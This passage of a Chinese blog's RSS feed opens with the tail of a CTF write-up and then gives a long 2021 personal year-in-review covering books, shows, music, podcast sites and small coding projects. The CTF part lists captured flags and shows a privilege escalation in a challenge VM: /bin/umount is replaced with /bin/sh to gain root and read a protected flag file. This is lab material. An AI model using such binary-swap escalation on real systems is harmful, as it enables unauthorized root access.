</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="nb">string</span><span class="p">(</span><span class="nx">data</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>得到第一个 Flag：<code>flag{Surprise_you_can_directory_traversal_1n_WINE_9945b3ea74}</code></p>
<p>第二问不会。</p>
<h2 id="光与影">光与影</h2>
<p>把网页所有的文件下载下来，是一个 WebGL 实现的网页，找到 shader 代码（fragment-shader.js 文件），把 304 行：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">float</span> <span class="n">tmin</span> <span class="o">=</span> <span class="nf">min</span><span class="p">(</span><span class="nf">min</span><span class="p">(</span><span class="nf">min</span><span class="p">(</span><span class="nf">min</span><span class="p">(</span><span class="n">t1</span><span class="p">,</span> <span class="n">t2</span><span class="p">),</span> <span class="n">t3</span><span class="p">),</span> <span class="n">t4</span><span class="p">),</span> <span class="n">t5</span><span class="p">);</span>
</span></span></code></pre></div><p>改为：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">float</span> <span class="n">tmin</span> <span class="o">=</span> <span class="nf">min</span><span class="p">(</span><span class="nf">min</span><span class="p">(</span><span class="nf">min</span><span class="p">(</span><span class="n">t1</span><span class="p">,</span> <span class="n">t2</span><span class="p">),</span> <span class="n">t3</span><span class="p">),</span> <span class="n">t4</span><span class="p">);</span>
</span></span></code></pre></div><p>再打开网页即可得到 Flag：<code>flag{SDF-i3-FuN!}</code></p>
<h2 id="片上系统">片上系统</h2>
<p>用 PulseView 可以解决第一题，这里就不细写了。</p>
<h2 id="传达不到的文件">传达不到的文件</h2>
<p>这一题的 flag 在 <code>/chall</code> 和 <code>/flag2</code> 中，其中 <code>/chall</code> 的权限为 <code>04111</code>，<code>/flag</code> 文件的权限为 0400，于是就得到了读不到、打不开的文件…</p>
<p>一开始就试着提权，但是一直没成功，后来在一次偶然中把系统中的 <code>/bin/busybox</code> 删掉了，发现 <code>exit</code> 的时候发现会报错：</p>
<pre tabindex="0"><code>/etc/init.d/rcS: line 24: umount: not found
/etc/init.d/rcS: line 25: umount: not found
/etc/init.d/rcS: line 28: poweroff: not found
can&#39;t run &#39;/bin/sh&#39;: No such file or directory
can&#39;t run &#39;/bin/sh&#39;: No such file or directory
can&#39;t run &#39;/bin/sh&#39;: No such file or directory
</code></pre><p>所以在 <code>exit</code> 的时候会执行 <code>umount</code> 和 <code>poweroff</code>，那就可以通过这个提权，并获得 flag 啦！</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">/ $ rm /bin/umount
</span></span><span class="line"><span class="cl">/ $ <span class="nb">echo</span> <span class="s2">&#34;/bin/sh&#34;</span> &gt; /bin/umount
</span></span><span class="line"><span class="cl">/ $ chmod +x /bin/umount
</span></span><span class="line"><span class="cl">/ $ <span class="nb">exit</span>
</span></span><span class="line"><span class="cl">/bin/sh: can<span class="err">&#39;</span>t access tty<span class="p">;</span> job control turned off
</span></span><span class="line"><span class="cl">/ <span class="c1"># id</span>
</span></span><span class="line"><span class="cl"><span class="nv">uid</span><span class="o">=</span><span class="m">0</span> <span class="nv">gid</span><span class="o">=</span><span class="m">0</span>
</span></span><span class="line"><span class="cl">/ <span class="c1"># cat /flag2</span>
</span></span><span class="line"><span class="cl">flag<span class="o">{</span>D0_n0t_O0o0pen_me__unles5_u_tr4aced_my_p4th_5017cad9a0<span class="o">}</span>
</span></span><span class="line"><span class="cl">/ <span class="c1"># strings /chall | grep flag</span>
</span></span><span class="line"><span class="cl">flag<span class="o">{</span>ptr4ce_m3_4nd_1_w1ll_4lways_b3_th3r3_f0r_u<span class="o">}</span>
</span></span><span class="line"><span class="cl">tmp_flag
</span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>保持好奇，继续前行 —— 2021年度总结</title>
      <link>https://lgiki.net/post/2021-review/</link>
      <pubDate>Tue, 01 Feb 2022 18:17:32 +0800</pubDate>
      <guid>https://lgiki.net/post/2021-review/</guid>
      <description>保持好奇，继续前行</description>
      <content:encoded><![CDATA[<p>今天是2022年2月1日，正月初一，虎年的第一天。</p>
<p>首先祝你新年快乐呀，祝你新的一年虎虎生威，身体健康，平安喜乐，万事顺遂。</p>
<p>拖延了好久，终于开始写2021年的年度报告了，其实昨天就已经开始写这篇文章了，结果写着写着年就跨过去了！！！然后昨天写了好久的开头它就用不了了！！！这篇2021年的总结它就真的变成“年后再说”了！！！😭下次再也不把年度报告拖到除夕当天才写了。</p>
<p>好了，进入正题！（没错，开头没有掉了，因为我写不出来了哈哈哈）</p>
<h1 id="-书影音">🥰 书影音</h1>
<p>（防杠声明：以下对书影音的评论均为很主观的个人观点，如果你有任何不同的观点，都是你对！）</p>
<h2 id="-书">📚 书</h2>
<p>今年看的书并不多，自从研究生的课程都上完了之后，看书的时间一下子就少了好多（上课躲在后排偷摸看书真的很不好，千万别学我哈哈哈）。今年阅读的书籍主要是纸质书，还是更喜欢纸张的触感，还有书本特有的那种味道，让人着迷。还有一部分是使用Kindle看完的，Kindle是目前难得的不带有那么多智能功能的很纯粹的电子产品，用它看书真的比使用手机/平板看书更容易集中注意力沉浸下来。</p>
<ul>
<li>
<p><a href="https://book.douban.com/subject/35608319/">《俗女养成记》</a></p>
<p>看完电视剧《俗女养成记》之后买的原著，原著和电视剧的剧情几乎完全一致，但原著里没有蔡永森这个角色，一些故事也没有电视剧上刻画得那么细致，电视剧的剧情则显得更加饱满一些，原著更像是由女主陈嘉玲一篇篇日记拼凑出来的一段台南生活记忆。书中有较多的闽南语没有详细的注解，如果不懂闽南语阅读起来会有一些吃力，更推荐看电视剧。</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/35569015/">《忍不住想打扰你》</a></p>
<p>某天逛书店时发现的书，被摆在了书店刚进门的一摞书里，特别显眼。这本书作者的公众号“bibi动物园”是我几乎每天都会看的一个公众号，每天早上8：30左右都会推送一篇可可爱爱的动物园漫画（有小兔子🐇、小鹿🦒、小脑斧~~🐱~~🐯），8:30正好是在食堂吃早餐准备前往实验室的时刻，边看着可可爱爱的漫画边吃早餐真的特别幸福，是生命中的盐🧂的瞬间。</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/35005045/">《夜晚的潜水艇》</a></p>
<p>听了道长的节目<a href="https://www.xiaoyuzhoufm.com/episode/61c31360c0fdc67f56ec1f18">337. 什么是干净的中文？| 宝珀理想国文学奖⑤《夜晚的潜水艇》</a>之后开始阅读的书，作者也是个福建人，所以字里行间看起来总有一种莫名其妙的亲切感。是一本虚构的短篇小说集，网上的评论似乎褒贬不一，我自己看完觉得还不错，不过可能没有网上所说的那么好。</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/26975609/">《方向》</a></p>
<p>应该是某位即友在直播间里推荐的一本绘本，一个没有名字的风衣男子在一片空空荡荡的世界里跟随着箭头的指示前行，整本书没有一个文字，全是由大大小小、奇奇怪怪、无穷无尽的箭头组成的。男子或彷徨不知所措，或勇敢翻山越岭，有时候看似平凡普通的事物如果反过来看反而可能是一个很明确的指引。在游戏世界里，跟着箭头走总是没错的，因为游戏里的箭头总是能把自己带向正确的道路，但现实生活中，箭头指引的方向就一定是正确的吗？箭头背后到底是什么呢？可能…可能并不需要考虑这么多，生活哪有那么多需要考虑的地方，管它有没有箭头，管它箭头背后到底是什么，勇敢向前走就是啦！</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/34836941/">《如果名画都是猫》</a></p>
<p>不知道在哪刷到的一本书，特别有趣！但是并不推荐购买，因为这本书都是彩印，印刷的纸也很厚实，所以价格巨巨巨贵（当然，贵不是书的问题，是我的问题）<del>如果书店/图书馆有的话去那儿翻一翻就好啦！喜欢可爱猫猫的真的很推荐这本书，看看把名画里的人都换成猫猫会是什么样子的</del>随书还附送了一本小册子，简单介绍了这些名画。如果能通过可可爱爱的猫猫们了解到一些有趣的名画也是挺不错的呀！</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/35143790/">《蛤蟆先生去看心理医生》</a></p>
<p>听了『文化有限』播客<a href="https://www.xiaoyuzhoufm.com/episode/611aeeef629a774bd842ec2d?s=eyJ1IjogIjYwNjVlZWZmZTBmNWU3MjNiYjJlYTFjYiJ9">Vol.87 蛤蟆先生去看心理医生：也许我们都可以找个人聊聊</a>之后阅读的书，虽然是心理学的书，但一点都不复杂，也不深奥。作者通过童话般的叙述方式，把心理学知识蕴藏在了蛤蟆先生去找心理医生苍鹭先生沟通的过程中，看介绍是一本为儿童准备的心理学作品。但成年人读起来也完全没有问题，甚至有点后悔没有早点读到这本书，毕竟谁不想多了解了解自己呢~</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/30353124/">《冬牧场》</a></p>
</li>
<li>
<p><a href="https://book.douban.com/subject/24922716/">《阿勒泰的角落》</a></p>
</li>
<li>
<p><a href="https://book.douban.com/subject/27184303/">《遥远的向日葵地》</a></p>
<p>自从Iris送了我一本李娟的《遥远的向日葵地》之后就一发不可收拾（感谢Iris🙇），一下子就被李娟细腻的文字给吸引住了，从未想过可以用这么灵动的文字来描写大自然。每次阅读就仿佛自己也置身于阿勒泰的牧场里，看着牛羊走来走去，每天住进地窝子。平凡的故事总是最打动人的故事，李娟的文字阅读起来真的感觉好轻快灵动。</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/26832049/">《不如让每天发生些小事情》</a></p>
</li>
<li>
<p><a href="https://book.douban.com/subject/11516338/">《我是你流浪过的一个地方》</a></p>
</li>
<li>
<p><a href="https://book.douban.com/subject/24871460/">《幻之光》</a></p>
</li>
<li>
<p>《下町火箭》(<a href="https://book.douban.com/subject/34449306/">1</a>, <a href="https://book.douban.com/subject/34941117/">2</a>, <a href="https://book.douban.com/subject/35024948/">3</a>, <a href="https://book.douban.com/subject/35058747/">4</a>)</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/34431946/">《七个会议》</a></p>
<p>这几本都是听了『限时肤浅』播客<a href="https://www.xiaoyuzhoufm.com/episode/5fea0460dee9c1e16d7676b0">17-上 我所看见的听见的都是我（书）</a>之后购入并看完的书（还有几本书买了还没看完，不愧是我哈哈哈！）~</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/4238362/">《送你一颗子弹》</a></p>
<p>我好像已经忘了看完这本书有啥感受了…</p>
<p>啊，找到了flomo上摘抄下来的文字：（果然摘抄特别有用！）</p>
<blockquote>
<p>“人生若有知己相伴固然妙不可言，但那可遇而不可求，真的，也许既不可遇又不可求，可求的只有你自己，你要俯下身去，朝着幽暗深处的自己伸出手去。”</p></blockquote>
<blockquote>
</blockquote>
<blockquote>
<p>“为什么勇气的问题总是被误以为是时间的问题，而那些沉重、抑郁的、不得已的，总是被叫做生活本身。”</p></blockquote>
<blockquote>
</blockquote>
<blockquote>
<p>“渊博的人是多么神奇啊，他们的大脑像蜘蛛网，粘住所有知识的小昆虫。而我的大脑是一块西瓜皮，所有的知识一脚踩上，就滑得无影无踪。”</p></blockquote>
<p>哈哈，特别是最后一句，说的不就是我嘛！</p>
</li>
<li>
<p><a href="https://book.douban.com/subject/35217952/">《你想过怎样的一生》</a></p>
<p>是一本挺有意思的绘本，以绘本的形式描绘了从0岁到100岁每个人生节点不同的人生经历，正如书名所说：你想过怎样的一生，这本书其实并不想给你答案，而是引出你的思考：我自己到底想过怎样的一生。</p>
</li>
</ul>
<h2 id="-影">🎬 影</h2>
<p>今年看电影、电视剧的时间也不多，印象比较深刻的是以下几部：</p>
<ul>
<li>
<p>《足球教练》(<a href="https://movie.douban.com/subject/34843220/">第一季</a>, <a href="https://movie.douban.com/subject/35190584/">第二季</a>)</p>
<p>听完『限时肤浅』播客的<a href="https://www.xiaoyuzhoufm.com/episode/619bbd6c138b51cbd78f3ce1">52 我爱Ted Lasso，不止是「还行」而已</a>之后开始看的一部剧，真的特！别！好！看！就算你不懂足球，也完全不用担心看不懂这部剧。</p>
<p>这是一部特别温情的剧，就仿佛是寒冷的冬天透过窗户照进屋里的那一抹暖黄色的阳光，看完真的会觉得浑身暖洋洋，特别轻松。</p>
<p>最喜欢的是圣诞节的那一集，圣诞节那天，Roy的侄女因为口臭问题被同学欺负，Keeley和Roy立刻放弃了圣诞节精心准备的活动，带上小侄女，在圣诞夜挨家挨户敲门，寻找牙医，最终一位牙医给Roy侄女开了药。而Roy的侄女选择用真爱至上（Love Actually）的方式原谅了欺负她的男生。啊！看到最后那一幕真的无比感动。</p>
<p><img loading="lazy" src="/2021-review/ted-lasso-xmas.jpg"></p>
</li>
<li>
<p>《俗女养成记》(<a href="https://movie.douban.com/subject/34785763/">第一季</a>, <a href="https://movie.douban.com/subject/35215517/">第二季</a>)</p>
<p>可以说是闽南语复健专用剧集了，整部剧90%以上都是闽南语哈哈哈，作为闽南人看起来特别亲切。这部剧讲述的是快40岁的女主陈嘉玲辞掉了外人眼里特别不错的董事长秘书的工作，和快要结婚的男朋友分手，搬回台南老家，重新开始追求自己人生的故事。这部剧看的时候我嘴角全程不停上扬，喜欢剧里每个人勇敢做自己的故事。不论如何，都要好好爱自己，勇敢做自己呀！</p>
<p>电视剧里的配乐很多都是来自于台湾乐队<a href="https://www.youtube.com/channel/UCZvQ_io8J1qHHkTDl31fCcA">旺福</a>，他们的歌大多是很欢快风格，听完了会觉得快乐的那种。最喜欢的一首歌是《姊妹仔》，剧里3位女生一起出远门游玩的那一集真的给我留下了太多太多感动，陌生女交警给洪育萱一个久久拥抱的那一幕真的超好。</p>
<!-- raw HTML omitted -->
</li>
<li>
<p><a href="https://movie.douban.com/subject/35332568/">《奇巧计程车》</a></p>
<p>一部剧情特别有趣的动漫作品！有趣到我不知道该如何去介绍它哈哈哈，你亲自看一看就能感受到这部动漫作品的魅力了~</p>
</li>
</ul>
<h2 id="-音">🎵 音</h2>
<p>我听歌的口味似乎一直都不太固定。</p>
<p>有一段时间特别沉迷于听后摇，例如：</p>
<ul>
<li>
<p>Minutes from Somewhere Else</p>


  <iframe src="https://open.spotify.com/embed/track/5b7Majiii43WmH42Pm9uH8?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>
  
  
</li>
<li>
<p>Colors In Stereo</p>

  
  <iframe src="https://open.spotify.com/embed/track/2ThL97UJtUQwqZHpgtkktm?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>Rain Watcher</p>


  <iframe src="https://open.spotify.com/embed/track/5gbDCmYbFRv3qrn1l04p1p?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
</ul>
<p>也有一段时间特别沉迷新裤子，例如：</p>
<ul>
<li>
<p>你都忘了你有多美</p>


  <iframe src="https://open.spotify.com/embed/track/31S6K94QFYNvJ1ZXlBlURk?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>夏日终曲</p>


  <iframe src="https://open.spotify.com/embed/track/0BeOOOihpmJS22XBjYKmvM?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>After Party</p>


  <iframe src="https://open.spotify.com/embed/track/6xreFE5w56EJ4lwXwWYN5Y?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
</ul>
<p>写本文的最近则是沉迷于苏打绿和五月天：</p>
<ul>
<li>
<p>知足</p>


  <iframe src="https://open.spotify.com/embed/track/4YJcQNIIdAJL9yrtHKLCXh?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>后来的我们</p>


  <iframe src="https://open.spotify.com/embed/track/13AruKdh8wJhWx6i5dV8X1?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>你不是真正的快乐</p>


  <iframe src="https://open.spotify.com/embed/track/1XfWRrji6DBo420tz75tNV?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>无与伦比的魅力</p>


  <iframe src="https://open.spotify.com/embed/track/2UwbKIkGPgTPdp7CVx1Dok?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>你被写在我的歌里</p>


  <iframe src="https://open.spotify.com/embed/track/7ovUSP7jWkzWR2SHptYJfd?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>小情歌</p>


  <iframe src="https://open.spotify.com/embed/track/4FhJ7YSRxATHnaRg4nGs6t?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
<li>
<p>我好想你</p>


  <iframe src="https://open.spotify.com/embed/track/3aQ7k1TkEdannB2soLjtJC?utm_source=generator" width="100%" height="80" frameBorder="0" allowfullscreen="" allow="autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture"></iframe>

  
</li>
</ul>
<h1 id="-重要的两件事">❤ 重要的两件事</h1>
<h2 id="-限时肤浅一周年展览馆">💙 限时肤浅一周年展览馆</h2>
<p>是在『限时肤浅』播客创办一周年之际上线的两个网站，你可以点击以下两个链接来访问：（服务器位于国外，国内的访问速度会较慢）</p>
<ul>
<li>
<p><a href="https://1.knowinglessandless.com">https://1.knowinglessandless.com</a>（用手机等移动端设备访问效果最佳）</p>
</li>
<li>
<p><a href="https://gallery.knowinglessandless.com">https://gallery.knowinglessandless.com</a>（用电脑/平板等设备访问效果最佳）</p>
</li>
</ul>
<p><img loading="lazy" src="/2021-review/xsfq_1.jpg"></p>
<p>2021年的5月份开始构思、设计、写代码，从一个完全没学过设计，完全不知道要如何下手的状态，一点点开始学习设计，参考了很多优秀的案例，然后使用Figma画了很多图，最后终于做出来的两个网站（要特别感谢 <strong>@我不跑调</strong> ！！！）</p>
<p>这两个网站可能没有特别精美的美术设计，也没有特别好的文案，但这两个网站里包含了我太多太多的感情，真的是<strong>最</strong>喜欢的一档播客，给了我很多很多的力量和感动。</p>
<p>同时也因此诞生了这一篇文章：<a href="https://lgiki.net/post/build-your-own-audio-easter-egg/">把彩蛋🥚藏到音频里去</a></p>
<p>说到彩蛋，这网站有一个彩蛋我一直没说，也一直没人发现…🤫那就是这个哈哈哈：<a href="https://2.knowinglessandless.com/">https://2.knowinglessandless.com/</a>（把前面链接里的1改成2，就会出现2周年的倒计时页面啦~）</p>
<h2 id="-播客小镇">🏡 播客小镇</h2>
<p>这是一个我和3位播客听友（@我不跑调、@叉尾、@Ponty）一起完成的一个中文播客地图网站，在2021年12月25日上线（没错，它上线于一个浪漫的节日🎄）：<a href="https://podtown.xyz">https://podtown.xyz</a></p>
<p>它还上了小宇宙的每月直播呢：（骄傲脸）
<img loading="lazy" src="/2021-review/cosmos_live.png"></p>
<p>你可以在这里看到更多关于播客小镇的故事：<a href="https://mp.weixin.qq.com/s/OK1S86lDLhQYKLLzeW470A">https://mp.weixin.qq.com/s/OK1S86lDLhQYKLLzeW470A</a>（如果你也热爱播客，强烈推荐你订阅这个宝藏公众号）</p>
<p>制作这个网站的过程中学习到了很多自己从未学习过的知识，关于产品、关于设计、关于热爱。也得到了很多大大小小的感动，上线的前一夜，大家都忙到筋疲力尽，但当听到一句“没事，我陪你熬夜”的时候，真的是瞬间又被充满了电，瞬间又可以以最充沛的精力写代码了。</p>
<p>当然，因为4个人都是第一次制作播客小镇，所以难免会有一些考虑不周的地方，未来的播客小镇一定会满满改进，让更多的播客到小镇上来~</p>
<p>中文播客圈每年圣诞节似乎总会上演一些温暖的故事，2020年的Love Actually，2021年的播客小镇，今年（2022年）圣诞节中文播客圈又会发生些什么呢？好期待！</p>
<h1 id="-买了啥">💸 买了啥</h1>
<p>这里记录了一些今年买到的比较有趣的东西（都是电子产品啦）！</p>
<h2 id="-sony-nex-5n">📷 Sony NEX-5N</h2>
<p><img loading="lazy" src="/2021-review/nex-5n.jpg"></p>
<p>从朋友那里收的二手，是一款发布于2010年的相机，距今已经12年了，很多现代相机上实用的功能都没有（这玩意儿的功能说不定比手机的相机还少哈哈哈），对焦速度也完全比不上现在的手机，但是用来入门摄影完全没有任何问题。</p>
<p>从来都只用手机拍照而没有使用过相机的我，在用它拍了几张照片之后立刻就体会到了调整光圈、快门、ISO的魅力，与使用手机拍照时只需要按下拍照按键不同，调整参数的时候感觉。照片的质量感觉比iPhone 11好上不少。</p>
<p>新的一年要多带上它拍拍照~等入门摄影了再攒钱买台好一点的相机。</p>
<h2 id="-zoom-h5">🎙 ZOOM H5</h2>
<p><img loading="lazy" src="/2021-review/zoom_h5_1.jpg"></p>
<p>打算开始录制播客之后入手的录音笔，结果一拖就是一整年（不愧是我哈哈哈！仿佛能听到录音笔嫌弃的声音），今年一定会开始行动起来啦~（已经立下了一个一定会完成的DDL啦！</p>
<p>购入的是ZOOM H5，自带了一个电容麦（如下图），已经用它录过几次音啦，效果很好~当然啦，电容麦对环境噪音的要求比较高，如果没有一个比较安静的录音环境，还是更推荐使用动圈麦克风，可以有效避免录音的时候收入过多的环境噪音，给后期增加处理难度。</p>
<p><img loading="lazy" src="/2021-review/zoom_h5_2.jpg"></p>
<p>买它主要看中的是ZOOM H5丰富的可扩展性，ZOOM H5机身有2个XLR接口，可以连接两支XLR接口的麦克风使用，再加上机身自带的电容麦，一支录音笔就可以做到3个人同时录音（虽然我的播客好像也请不到那么多嘉宾的样子哈哈哈）</p>
<p>测试过经典的动圈麦Shure SM58，推动完全没问题，当然，也可以接上sE DM1等话放来推动一些比较难推的动圈麦。这两个XLR接口都支持48V幻象供电，所以也可以连接电容麦使用，就是开启48V幻象供电之后，电池会消耗得比较快，可以使用数据线连接充电宝或电源适配器进行供电，保证录音不会因为电池没电而中断，丢失录音素材。</p>
<p>ZOOM H5既可以作为独立的录音机使用，也可以连接USB作为电脑的声卡，直接将音频录到音频软件里，用法超多，能适应很多不同的应用场景。</p>
<p>唯一的缺点可能就是机身上的接口是Mini-USB接口，在Type-C和Lightning几乎快要二分天下的2021年，要找一条Mini-USB的数据线还真的是不太容易，幸好随机附带了一根，如果直接使用录音机进行录音则可以深绿。</p>
<p>如果是播客入门，后续没有多人录制的需求可以考虑ZOOM的H1N，很小巧的录音笔~如果有多人录制需求可以考虑ZOOM H5（有2个XLR接口）、ZOOM H6（有4个XLR接口）等设备。</p>
<h1 id="-还写了一些小玩具">🧸 还写了一些小玩具</h1>
<p>希望自己每年都能持续输出一些东西，不管是小项目、小工具还是文章也好，如果没有输出了，那肯定是自己停止学习新知识、停止研究新东西了，这是很危险的一件事，保持好奇心和创造力在这个几乎快要被各种人工智能算法控制的年代显得格外重要。</p>
<h2 id="-一款为播客设计的-hugo-主题">🎨 一款为播客设计的 HUGO 主题</h2>
<p>项目地址：<a href="https://github.com/LGiki/hugo-theme-knowing-less">https://github.com/LGiki/hugo-theme-knowing-less</a></p>
<p><img loading="lazy" src="/2021-review/hugo_podcast.webp"></p>
<p>没错，这款HUGO主题的名字叫knowing-less~（其实当初还想写一个名叫and-less的姊妹主题，但是嘛…🕊咕<del>咕</del>咕~说不定等哪天心血来潮我就把它写出来了哈哈哈！）</p>
<p>当初是想着在限时肤浅播客一周年的时候制作一个限时肤浅的网站，但正如前文的描述，后来改主意了哈哈哈~不过还是把这个主题写完了。</p>
<p>基于HUGO提供的RSS模板功能，实现了播客RSS的生成，所以你可以通过它来构建播客网站，并能生成可以用泛用型播客客户端正常收听的RSS链接。</p>
<p>当时留下来的一些截图：</p>
<p><img loading="lazy" src="/2021-review/knowing_less_1.png"></p>
<p><img loading="lazy" src="/2021-review/knowing_less_2.png"></p>
<h2 id="-播客备份工具">💾 播客备份工具</h2>
<p>项目地址：<a href="https://github.com/LGiki/PoDownloader">https://github.com/LGiki/PoDownloader</a></p>
<p><img loading="lazy" src="/2021-review/podownloader.png"></p>
<p>写这个小工具的初衷是想把『限时肤浅』播客的所有单集（包括音频、封面、Shownotes）都备份下来，保存在移动硬盘中。因为还是更相信，只有保存在自己硬盘中的数据才是属于自己的。</p>
<p>尽管播客通过RSS分发的特性使得播客的分发特别灵活，甚至直接使用浏览器打开RSS链接，找到<code>&lt;enclosure&gt;</code>标签内的音频链接下载下来就能听。就算被一些非泛用型的播客平台下架了，只要播客的RSS链接还活着，就还能使用其他泛用型播客客户端收听。但要是RSS也消失了怎么办…</p>
<p>没想到最近一个播客的下架还真让这个工具派上用场了😔，希望所有播客都能好好地经营制作下去，这个世界需要更多的声音。</p>
<h2 id="-一个监控资源占用情况的-gnome-插件">🔌 一个监控资源占用情况的 GNOME 插件</h2>
<p>项目地址：<a href="https://github.com/LGiki/gnome-shell-extension-simple-system-monitor">https://github.com/LGiki/gnome-shell-extension-simple-system-monitor</a></p>
<p><img loading="lazy" src="/2021-review/simple_system_monitor.png"></p>
<p>写这个的起因是GNOME上好多系统资源占用情况的监控插件我用起来总能遇到一些莫名其妙的问题，那还不如自己写一个！然后这个插件就诞生了，没有花里胡哨的功能，它就只是显示几个数字在GNOME的Top bar，就酱！</p>
<h1 id="-一些尝试">🚶 一些尝试</h1>
<h2 id="-拒绝推荐算法">🙅 拒绝推荐算法</h2>
<p>2021年开始尝试拒绝推荐算法，首先下手的是YouTube和Bilibili这两个视频平台，因为自己之前真的每天都会在这两个网站上浪费好多时间。</p>
<p>如果你用过这两个视频平台，那么你肯定知道，每次打开这两个网站的首页，页面上总是会根据你的历史观看记录推荐一大堆你可能感兴趣的视频，同时，你点开的每个视频旁也会列出好多视频推荐。总之，推荐算法总是无处不在，无时不刻想要获得你的注意力，让你更多更久地留存在他们的网站上。</p>
<p>每天都有看不完的有趣的视频当然很好，但是也不免会开始问自己：看完这些视频自己真的有收获了什么吗？除了活成推荐算法给你打上的标签的样子，似乎真的想不出还能获得些什么，所以下定决心先从这两个网站开始，把推荐内容全部都屏蔽掉，只关注自己订阅的内容。</p>
<p>现在我的YouTube和Bilibili主页长这样：</p>
<p><img loading="lazy" src="/2021-review/youtube_index.png"></p>
<p><img loading="lazy" src="/2021-review/bilibili_index.png"></p>
<p>YouTube使用了Chrome浏览器的<a href="https://chrome.google.com/webstore/detail/df-tube-distraction-free/mjdepdfccjgcndkmemponafgioodelna?hl=en">DF Tube</a>插件来隐藏推荐内容。</p>
<p>Bilibili则是自己写了CSS代码，使用Chrome浏览器的<a href="https://chrome.google.com/webstore/detail/stylish-custom-themes-for/fjnbnpbmkenffdnngjfgmeleoegfcffe?hl=en">Stylish</a>插件来把首页上的推荐视频全部隐藏掉，相关的代码如下：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">-moz-document</span> <span class="nt">url-prefix</span><span class="o">(</span><span class="s2">&#34;https://www.bilibili.com&#34;</span><span class="o">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">b-wrap</span><span class="o">,</span> <span class="p">.</span><span class="nc">bili-layout</span><span class="o">,</span> <span class="p">.</span><span class="nc">bili-footer</span><span class="o">,</span> <span class="p">.</span><span class="nc">palette-button-outer</span><span class="o">,</span> <span class="p">.</span><span class="nc">bili-header</span> <span class="o">&gt;</span> <span class="p">.</span><span class="nc">bili-header__channel</span><span class="o">,</span> <span class="p">.</span><span class="nc">contact-help</span><span class="o">,</span> <span class="p">#</span><span class="nn">reco_list</span><span class="o">,</span> <span class="p">#</span><span class="nn">right-bottom-banner</span><span class="o">,</span> <span class="p">.</span><span class="nc">pop-live</span><span class="o">,</span> <span class="p">.</span><span class="nc">activity-m</span><span class="o">,</span> <span class="p">#</span><span class="nn">live_recommand_report</span><span class="o">,</span> <span class="p">.</span><span class="nc">bili-header__banner</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">display</span><span class="p">:</span> <span class="kc">none</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">nav-search-input</span><span class="p">::</span><span class="nd">placeholder</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="k">color</span><span class="p">:</span> <span class="kc">transparent</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">bili-header__bar</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">background</span><span class="p">:</span> <span class="mh">#05488c</span> <span class="cp">!important</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
